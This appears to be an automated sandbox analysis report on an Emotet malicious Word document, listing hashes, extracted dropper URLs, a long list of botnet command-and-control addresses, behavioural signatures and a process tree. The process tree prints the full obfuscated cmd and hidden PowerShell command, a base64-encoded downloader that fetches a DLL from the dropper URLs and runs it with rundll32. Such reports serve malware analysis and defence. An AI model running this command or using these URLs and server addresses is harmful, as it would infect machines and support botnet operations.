emotet | 20b1f1c932f9ac88685c65ca2ed2d57ba42e6cc5d643c567fbff933e64e09797

Analysis

max time kernel
122s
max time network
121s
platform
windows7_x64
resource
win7v20201028
submitted
23/01/2021, 01:34

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Report Analysis Logs

General

Target
emotet_e2_20b1f1c932f9ac88685c65ca2ed2d57ba42e6cc5d643c567fbff933e64e09797_2021-01-23__013146582124._doc.doc
Size 167KB
Sample210123-cmp4aqht32
SHA256 20b1f1c932f9ac88685c65ca2ed2d57ba42e6cc5d643c567fbff933e64e09797
MD5 a51ca16d451127efa6512bcb9ab10b6d
SHA1 4719a3bc17206aaaacec01f7162f806fbb9e4fb0
SHA512 70499b34e6f5e1fa102af16755d28dadae8b3fd28f34e6dfff9c1e8b39851b13e7b23f3c21d5a902a83dabc053eef80c420ebd3767670fdaebaf41d5716220de
MD5 SHA1 SHA512

Score

10^/10

emotet epoch2 banker ransomware trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://cab.mykfn.com/admin/X/
exe.dropper
http://bhaktivrind.com/cgi-bin/JBbb8/
exe.dropper
http://vanddnabhargave.com/asset/W9o/
exe.dropper
http://ie-best.net/online-timer-kvhxz/ilXL/
exe.dropper
http://gocphongthe.com/wp-content/lMMC/
exe.dropper
http://www.letscompareonline.com/de.letscompareonline.com/wYd/
exe.dropper
http://cambiasuhistoria.growlab.es/wp-content/hGhY2/

Extracted

Family

emotet

Botnet

Epoch2

69.38.130.14:80
195.159.28.230:8080
162.241.204.233:8080
115.21.224.117:80
78.189.148.42:80
181.165.68.127:80
78.188.225.105:80
161.0.153.60:80
89.106.251.163:80
172.125.40.123:80
5.39.91.110:7080
110.145.11.73:80
190.251.200.206:80
144.217.7.207:7080
75.109.111.18:80
75.177.207.146:80
139.59.60.244:8080
70.183.211.3:80
95.213.236.64:8080
61.19.246.238:443
174.118.202.24:443
71.72.196.159:80
138.68.87.218:443
24.164.79.147:8080
49.205.182.134:80
24.231.88.85:80
121.124.124.40:7080
95.9.5.93:80
118.83.154.64:443
78.24.219.147:8080
104.131.11.150:443
85.105.205.77:8080
108.53.88.101:443
187.161.206.24:80
203.153.216.189:7080
37.187.72.193:8080
185.94.252.104:443
157.245.99.39:8080
50.91.114.38:80
87.106.139.101:8080
74.128.121.17:80
62.75.141.82:80
37.139.21.175:8080
190.103.228.24:80
134.209.144.106:443
78.182.254.231:80
186.74.215.34:80
180.222.161.85:80
69.49.88.46:80
202.134.4.211:8080
75.113.193.72:80
139.162.60.124:8080
79.137.83.50:443
123.176.25.234:80
172.105.13.66:443
93.146.48.84:80
109.116.245.80:80
41.185.28.84:8080
98.109.133.80:80
194.190.67.75:80
110.145.101.66:443
136.244.110.184:8080
24.179.13.119:80
89.216.122.92:80
139.99.158.11:443
172.86.188.251:8080
74.40.205.197:443
62.171.142.179:8080
167.114.153.111:8080
119.59.116.21:8080
74.58.215.226:80
188.165.214.98:8080
172.104.97.173:8080
197.211.245.21:80
66.57.108.14:443
188.219.31.12:80
168.235.67.138:7080
24.69.65.8:8080
173.70.61.180:80
110.142.236.207:80
51.89.36.180:443
46.105.131.79:8080
194.4.58.192:7080
220.245.198.194:80
109.74.5.95:8080
24.178.90.49:80
181.171.209.241:443
59.21.235.119:80
94.23.237.171:443
12.175.220.98:80
217.20.166.178:7080
50.116.111.59:8080
176.111.60.55:8080
200.116.145.225:443
120.150.60.189:80
185.201.9.197:8080
202.134.4.216:8080
120.150.218.241:443
2.58.16.89:8080
70.92.118.112:80
74.208.45.104:8080
79.130.130.240:8080
190.240.194.77:443
85.105.111.166:80
115.94.207.99:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	892	1716	cmd.exe	27

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	1120	powershell.exe
8	652	rundll32.exe
9	652	rundll32.exe
10	652	rundll32.exe

Loads dropped DLL 8 IoCs

pid	Process
1272	rundll32.exe
1272	rundll32.exe
1272	rundll32.exe
1272	rundll32.exe
1136	rundll32.exe
1136	rundll32.exe
1136	rundll32.exe
1136	rundll32.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Bqrepatipzh\yixdaobdic.kim	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1100	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1120	powershell.exe
1120	powershell.exe
652	rundll32.exe
652	rundll32.exe
652	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1120	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1100	WINWORD.EXE
1100	WINWORD.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1100	WINWORD.EXE
1100	WINWORD.EXE

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 892 wrote to memory of 788	892	cmd.exe	33
PID 892 wrote to memory of 788	892	cmd.exe	33
PID 892 wrote to memory of 788	892	cmd.exe	33
PID 892 wrote to memory of 1120	892	cmd.exe	34
PID 892 wrote to memory of 1120	892	cmd.exe	34
PID 892 wrote to memory of 1120	892	cmd.exe	34
PID 1120 wrote to memory of 740	1120	powershell.exe	36
PID 1120 wrote to memory of 740	1120	powershell.exe	36
PID 1120 wrote to memory of 740	1120	powershell.exe	36
PID 740 wrote to memory of 1272	740	rundll32.exe	37
PID 740 wrote to memory of 1272	740	rundll32.exe	37
PID 740 wrote to memory of 1272	740	rundll32.exe	37
PID 740 wrote to memory of 1272	740	rundll32.exe	37
PID 740 wrote to memory of 1272	740	rundll32.exe	37
PID 740 wrote to memory of 1272	740	rundll32.exe	37
PID 740 wrote to memory of 1272	740	rundll32.exe	37
PID 1272 wrote to memory of 1136	1272	rundll32.exe	38
PID 1272 wrote to memory of 1136	1272	rundll32.exe	38
PID 1272 wrote to memory of 1136	1272	rundll32.exe	38
PID 1272 wrote to memory of 1136	1272	rundll32.exe	38
PID 1272 wrote to memory of 1136	1272	rundll32.exe	38
PID 1272 wrote to memory of 1136	1272	rundll32.exe	38
PID 1272 wrote to memory of 1136	1272	rundll32.exe	38
PID 1136 wrote to memory of 544	1136	rundll32.exe	39
PID 1136 wrote to memory of 544	1136	rundll32.exe	39
PID 1136 wrote to memory of 544	1136	rundll32.exe	39
PID 1136 wrote to memory of 544	1136	rundll32.exe	39
PID 1136 wrote to memory of 544	1136	rundll32.exe	39
PID 1136 wrote to memory of 544	1136	rundll32.exe	39
PID 1136 wrote to memory of 544	1136	rundll32.exe	39
PID 544 wrote to memory of 652	544	rundll32.exe	40
PID 544 wrote to memory of 652	544	rundll32.exe	40
PID 544 wrote to memory of 652	544	rundll32.exe	40
PID 544 wrote to memory of 652	544	rundll32.exe	40
PID 544 wrote to memory of 652	544	rundll32.exe	40
PID 544 wrote to memory of 652	544	rundll32.exe	40
PID 544 wrote to memory of 652	544	rundll32.exe	40

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_20b1f1c932f9ac88685c65ca2ed2d57ba42e6cc5d643c567fbff933e64e09797_2021-01-23__013146582124._doc.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1100

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAdgAgACAAUABCADUAbwAgACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA1AH0AewAzAH0AewAwAH0AewA2AH0AewA0AH0AIgAgAC0ARgAgACcAVAAnACwAJwBFAE0ALgBJACcALAAnAFMAWQBzAFQAJwAsACcAZQBDACcALAAnAHkAJwAsACcAbwAuAEQASQBSACcALAAnAE8AUgAnACkAIAApACAAOwAgACAAUwBFAHQALQBJAFQARQBtACAAdgBBAFIASQBhAEIATABlADoAbQA3AGEAOQAgACgAWwB0AHkAcABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMwB9AHsANQB9AHsAMQB9AHsANgB9AHsAMAB9AHsANwB9ACIAIAAtAGYAJwBuACcALAAnAEkAQwBFAHAATwBJAE4AdABtACcALAAnAG4AZQBUACcALAAnAC4AJwAsACcAcwB5AFMAdABlAE0ALgAnACwAJwBzAEUAUgB2ACcALAAnAEEAJwAsACcAYQBHAGUAcgAnACkAIAApACAAIAA7ACAAIAAkAEkAaAB2ADgAOQBfAGcAPQAkAE0AOQAxAEcAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAEgAMgAzAEQAOwAkAEQAOQA0AE0APQAoACgAJwBQADcAJwArACcAMgAnACkAKwAnAFgAJwApADsAIAAoAGcARQBUAC0AdgBhAHIAaQBhAEIAbABlACAAcABiADUAbwAgAC0AVgBBACkAOgA6ACIAYwByAEUAYQBUAGUAZABpAGAAUgBlAEMAdABgAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA5AGsAJwArACcAdABOAGsAJwApACsAJwAyACcAKwAnAGQAJwArACgAJwB1AGgAYgA5ACcAKwAnAGsAdAAnACsAJwBHAHgAbABoACcAKQArACgAJwA5AGkAJwArACcAYQA5AGsAdAAnACkAKQAuACIAcgBFAGAAUABsAGEAQwBlACIAKAAoACcAOQAnACsAJwBrAHQAJwApACwAJwBcACcAKQApACkAOwAkAEoAOAA3AEgAPQAoACcAUwAnACsAKAAnADMANgAnACsAJwBOACcAKQApADsAIAAoACAAIAB2AGEAUgBJAGEAYgBsAGUAIAAgAE0ANwBhADkAIAAgAC0AVgBBACAAIAApADoAOgAiAFMARQBjAHUAcgBpAFQAWQBwAGAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAMgBVAD0AKAAnAEUAJwArACgAJwBfACcAKwAnAF8ARQAnACkAKQA7ACQAUAAyADcAcABxAGUAMwAgAD0AIAAoACcARQA2ACcAKwAnAF8AUgAnACkAOwAkAEYAMwA5AEwAPQAoACgAJwBRACcAKwAnADkANAAnACkAKwAnAFcAJwApADsAJABBAGQAMQByAGEAOABuAD0AJABIAE8ATQBFACsAKAAoACgAJwBLAGkAJwArACcAbQAnACkAKwAoACcATgBrADIAZAAnACsAJwB1AGgAYgAnACkAKwAnAEsAaQAnACsAJwBtACcAKwAoACcARwB4ACcAKwAnAGwAJwApACsAJwBoADkAJwArACgAJwBpACcAKwAnAGEASwBpACcAKQArACcAbQAnACkALQBSAGUAUABsAGEAYwBlACgAWwBDAEgAQQBSAF0ANwA1ACsAWwBDAEgAQQBSAF0AMQAwADUAKwBbAEMASABBAFIAXQAxADAAOQApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAMgA3AHAAcQBlADMAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFYAMgA4AFUAPQAoACcAQwA4ACcAKwAnADgASwAnACkAOwAkAE0AcgBpAHEAZAA1ADkAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABLAHcAMwA3ADkANAB4AD0AKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgAnACsAJwA6AC8ALwBjAGEAYgAuAG0AeQAnACsAJwBrAGYAJwApACsAJwBuAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvACcAKwAoACcAWAAvACcAKwAnACEAJwApACsAJwB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAnAGgAJwArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGIAaABhACcAKQArACcAawAnACsAJwB0AGkAJwArACgAJwB2AHIAaQBuAGQAJwArACcALgAnACsAJwBjAG8AbQAvAGMAJwApACsAJwBnACcAKwAoACcAaQAnACsAJwAtAGIAaQBuACcAKQArACgAJwAvACcAKwAnAEoAQgBiAGIAJwArACcAOAAnACsAJwAvACEAeAAgAFsAIAAnACkAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgBhAG4AJwArACcAZABkAG4AYQAnACkAKwAoACcAYgBoAGEAcgBnACcAKwAnAGEAJwApACsAJwB2AGUAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAGEAcwBzACcAKwAnAGUAdAAnACkAKwAnAC8AVwAnACsAKAAnADkAbwAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACAAJwArACcAWwAgACcAKwAoACcAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACgAJwAvAGkAZQAtACcAKwAnAGIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwB0AC4AbgAnACkAKwAnAGUAJwArACgAJwB0AC8AbwAnACsAJwBuACcAKwAnAGwAaQBuACcAKQArACcAZQAnACsAKAAnAC0AJwArACcAdABpAG0AZQByACcAKwAnAC0AJwApACsAKAAnAGsAJwArACcAdgBoACcAKQArACgAJwB4AHoAJwArACcALwBpACcAKQArACcAbAAnACsAKAAnAFgAJwArACcATAAvACEAeAAnACkAKwAoACcAIABbACAAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBnACcAKwAoACcAbwBjACcAKwAnAHAAJwArACcAaABvAG4AJwApACsAKAAnAGcAdABoACcAKwAnAGUAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAGwAJwApACsAJwBNACcAKwAoACcATQBDACcAKwAnAC8AIQAnACkAKwAoACcAeAAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBsACcAKwAnAGUAJwApACsAKAAnAHQAJwArACcAcwBjACcAKQArACcAbwBtACcAKwAnAHAAYQAnACsAKAAnAHIAJwArACcAZQBvAG4AJwApACsAKAAnAGwAJwArACcAaQBuACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AZAAnACsAJwBlACcAKQArACgAJwAuAGwAJwArACcAZQB0ACcAKQArACcAcwBjACcAKwAnAG8AbQAnACsAJwBwACcAKwAnAGEAJwArACcAcgBlACcAKwAnAG8AbgAnACsAKAAnAGwAaQAnACsAJwBuAGUAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwArACcALwB3AFkAZAAvACcAKwAnACEAeAAgACcAKQArACcAWwAnACsAKAAnACAAcwAnACsAJwBoACAAYgAnACsAJwA6AC8AJwApACsAJwAvACcAKwAnAGMAYQAnACsAJwBtAGIAJwArACcAaQAnACsAKAAnAGEAcwB1AGgAJwArACcAaQAnACkAKwAoACcAcwB0AG8AcgAnACsAJwBpAGEAJwArACcALgBnAHIAbwB3ACcAKQArACcAbAAnACsAJwBhAGIAJwArACgAJwAuACcAKwAnAGUAcwAvAHcAcAAnACsAJwAtACcAKQArACcAYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwArACcAdAAnACsAKAAnAC8AaAAnACsAJwBHAGgAWQAnACkAKwAnADIALwAnACkALgAiAHIAYABlAHAAYABMAEEAQwBlACIAKAAoACcAeAAgACcAKwAnAFsAJwArACgAJwAgAHMAaAAnACsAJwAgAGIAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE0AcgBpAHEAZAA1ADkALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAcwBQAGwAYABpAHQAIgAoACQAQQA3ADYAQgAgACsAIAAkAEkAaAB2ADgAOQBfAGcAIAArACAAJABRADcAXwBSACkAOwAkAFYAOABfAEcAPQAoACgAJwBNACcAKwAnADUAMQAnACkAKwAnAFYAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABYAGoAOABzADEANQAxACAAaQBuACAAJABLAHcAMwA3ADkANAB4ACkAewB0AHIAeQB7ACgALgAoACcATgBlACcAKwAnAHcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAFkAUwB0AEUAbQAuAG4ARQBUAC4AdwBFAEIAQwBMAEkAZQBuAFQAKQAuACIAZABPAGAAdwBuAGAATABPAGEARABmAGkAbABlACIAKAAkAFgAagA4AHMAMQA1ADEALAAgACQAQQBkADEAcgBhADgAbgApADsAJABEADkANABKAD0AKAAnAEIAJwArACgAJwAzACcAKwAnADIARwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABBAGQAMQByAGEAOABuACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADMAMQAyADAAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQAQQBkADEAcgBhADgAbgAsACgAJwBBACcAKwAnAG4AeQAnACsAKAAnAFMAdAByACcAKwAnAGkAJwApACsAJwBuAGcAJwApAC4AIgB0AE8AUwBUAFIAYABpAG4ARwAiACgAKQA7ACQAVgA3ADgAQgA9ACgAJwBTACcAKwAoACcAOAA1ACcAKwAnAEIAJwApACkAOwBiAHIAZQBhAGsAOwAkAFYAOABfAFAAPQAoACcARgA2ACcAKwAnADcATAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAMAA0AFYAPQAoACcASQAyACcAKwAnADYAWgAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:892
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -enc IAAgAFMAdgAgACAAUABCADUAbwAgACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA1AH0AewAzAH0AewAwAH0AewA2AH0AewA0AH0AIgAgAC0ARgAgACcAVAAnACwAJwBFAE0ALgBJACcALAAnAFMAWQBzAFQAJwAsACcAZQBDACcALAAnAHkAJwAsACcAbwAuAEQASQBSACcALAAnAE8AUgAnACkAIAApACAAOwAgACAAUwBFAHQALQBJAFQARQBtACAAdgBBAFIASQBhAEIATABlADoAbQA3AGEAOQAgACgAWwB0AHkAcABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMwB9AHsANQB9AHsAMQB9AHsANgB9AHsAMAB9AHsANwB9ACIAIAAtAGYAJwBuACcALAAnAEkAQwBFAHAATwBJAE4AdABtACcALAAnAG4AZQBUACcALAAnAC4AJwAsACcAcwB5AFMAdABlAE0ALgAnACwAJwBzAEUAUgB2ACcALAAnAEEAJwAsACcAYQBHAGUAcgAnACkAIAApACAAIAA7ACAAIAAkAEkAaAB2ADgAOQBfAGcAPQAkAE0AOQAxAEcAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAEgAMgAzAEQAOwAkAEQAOQA0AE0APQAoACgAJwBQADcAJwArACcAMgAnACkAKwAnAFgAJwApADsAIAAoAGcARQBUAC0AdgBhAHIAaQBhAEIAbABlACAAcABiADUAbwAgAC0AVgBBACkAOgA6ACIAYwByAEUAYQBUAGUAZABpAGAAUgBlAEMAdABgAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA5AGsAJwArACcAdABOAGsAJwApACsAJwAyACcAKwAnAGQAJwArACgAJwB1AGgAYgA5ACcAKwAnAGsAdAAnACsAJwBHAHgAbABoACcAKQArACgAJwA5AGkAJwArACcAYQA5AGsAdAAnACkAKQAuACIAcgBFAGAAUABsAGEAQwBlACIAKAAoACcAOQAnACsAJwBrAHQAJwApACwAJwBcACcAKQApACkAOwAkAEoAOAA3AEgAPQAoACcAUwAnACsAKAAnADMANgAnACsAJwBOACcAKQApADsAIAAoACAAIAB2AGEAUgBJAGEAYgBsAGUAIAAgAE0ANwBhADkAIAAgAC0AVgBBACAAIAApADoAOgAiAFMARQBjAHUAcgBpAFQAWQBwAGAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAMgBVAD0AKAAnAEUAJwArACgAJwBfACcAKwAnAF8ARQAnACkAKQA7ACQAUAAyADcAcABxAGUAMwAgAD0AIAAoACcARQA2ACcAKwAnAF8AUgAnACkAOwAkAEYAMwA5AEwAPQAoACgAJwBRACcAKwAnADkANAAnACkAKwAnAFcAJwApADsAJABBAGQAMQByAGEAOABuAD0AJABIAE8ATQBFACsAKAAoACgAJwBLAGkAJwArACcAbQAnACkAKwAoACcATgBrADIAZAAnACsAJwB1AGgAYgAnACkAKwAnAEsAaQAnACsAJwBtACcAKwAoACcARwB4ACcAKwAnAGwAJwApACsAJwBoADkAJwArACgAJwBpACcAKwAnAGEASwBpACcAKQArACcAbQAnACkALQBSAGUAUABsAGEAYwBlACgAWwBDAEgAQQBSAF0ANwA1ACsAWwBDAEgAQQBSAF0AMQAwADUAKwBbAEMASABBAFIAXQAxADAAOQApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAMgA3AHAAcQBlADMAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFYAMgA4AFUAPQAoACcAQwA4ACcAKwAnADgASwAnACkAOwAkAE0AcgBpAHEAZAA1ADkAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABLAHcAMwA3ADkANAB4AD0AKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgAnACsAJwA6AC8ALwBjAGEAYgAuAG0AeQAnACsAJwBrAGYAJwApACsAJwBuAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvACcAKwAoACcAWAAvACcAKwAnACEAJwApACsAJwB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAnAGgAJwArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGIAaABhACcAKQArACcAawAnACsAJwB0AGkAJwArACgAJwB2AHIAaQBuAGQAJwArACcALgAnACsAJwBjAG8AbQAvAGMAJwApACsAJwBnACcAKwAoACcAaQAnACsAJwAtAGIAaQBuACcAKQArACgAJwAvACcAKwAnAEoAQgBiAGIAJwArACcAOAAnACsAJwAvACEAeAAgAFsAIAAnACkAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgBhAG4AJwArACcAZABkAG4AYQAnACkAKwAoACcAYgBoAGEAcgBnACcAKwAnAGEAJwApACsAJwB2AGUAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAGEAcwBzACcAKwAnAGUAdAAnACkAKwAnAC8AVwAnACsAKAAnADkAbwAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACAAJwArACcAWwAgACcAKwAoACcAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACgAJwAvAGkAZQAtACcAKwAnAGIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwB0AC4AbgAnACkAKwAnAGUAJwArACgAJwB0AC8AbwAnACsAJwBuACcAKwAnAGwAaQBuACcAKQArACcAZQAnACsAKAAnAC0AJwArACcAdABpAG0AZQByACcAKwAnAC0AJwApACsAKAAnAGsAJwArACcAdgBoACcAKQArACgAJwB4AHoAJwArACcALwBpACcAKQArACcAbAAnACsAKAAnAFgAJwArACcATAAvACEAeAAnACkAKwAoACcAIABbACAAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBnACcAKwAoACcAbwBjACcAKwAnAHAAJwArACcAaABvAG4AJwApACsAKAAnAGcAdABoACcAKwAnAGUAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAGwAJwApACsAJwBNACcAKwAoACcATQBDACcAKwAnAC8AIQAnACkAKwAoACcAeAAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBsACcAKwAnAGUAJwApACsAKAAnAHQAJwArACcAcwBjACcAKQArACcAbwBtACcAKwAnAHAAYQAnACsAKAAnAHIAJwArACcAZQBvAG4AJwApACsAKAAnAGwAJwArACcAaQBuACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AZAAnACsAJwBlACcAKQArACgAJwAuAGwAJwArACcAZQB0ACcAKQArACcAcwBjACcAKwAnAG8AbQAnACsAJwBwACcAKwAnAGEAJwArACcAcgBlACcAKwAnAG8AbgAnACsAKAAnAGwAaQAnACsAJwBuAGUAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwArACcALwB3AFkAZAAvACcAKwAnACEAeAAgACcAKQArACcAWwAnACsAKAAnACAAcwAnACsAJwBoACAAYgAnACsAJwA6AC8AJwApACsAJwAvACcAKwAnAGMAYQAnACsAJwBtAGIAJwArACcAaQAnACsAKAAnAGEAcwB1AGgAJwArACcAaQAnACkAKwAoACcAcwB0AG8AcgAnACsAJwBpAGEAJwArACcALgBnAHIAbwB3ACcAKQArACcAbAAnACsAJwBhAGIAJwArACgAJwAuACcAKwAnAGUAcwAvAHcAcAAnACsAJwAtACcAKQArACcAYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwArACcAdAAnACsAKAAnAC8AaAAnACsAJwBHAGgAWQAnACkAKwAnADIALwAnACkALgAiAHIAYABlAHAAYABMAEEAQwBlACIAKAAoACcAeAAgACcAKwAnAFsAJwArACgAJwAgAHMAaAAnACsAJwAgAGIAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE0AcgBpAHEAZAA1ADkALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAcwBQAGwAYABpAHQAIgAoACQAQQA3ADYAQgAgACsAIAAkAEkAaAB2ADgAOQBfAGcAIAArACAAJABRADcAXwBSACkAOwAkAFYAOABfAEcAPQAoACgAJwBNACcAKwAnADUAMQAnACkAKwAnAFYAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABYAGoAOABzADEANQAxACAAaQBuACAAJABLAHcAMwA3ADkANAB4ACkAewB0AHIAeQB7ACgALgAoACcATgBlACcAKwAnAHcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAFkAUwB0AEUAbQAuAG4ARQBUAC4AdwBF